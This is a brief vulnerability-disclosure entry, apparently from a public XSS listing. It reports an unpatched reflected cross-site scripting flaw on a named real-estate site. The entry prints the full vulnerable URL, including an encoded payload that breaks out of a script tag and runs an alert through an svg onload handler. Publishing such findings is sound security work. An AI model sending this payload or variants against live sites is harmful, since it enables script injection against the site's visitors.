bourgogneimmob.com XSS vulnerability

Vulnerable URL: http://www.bourgogneimmob.com/index.php?state=&price-min;=&price-max;==%22--%3E+%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%3Balert%28%2FXSSPOSED%2F%29%3B%27%3E=searchresults= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...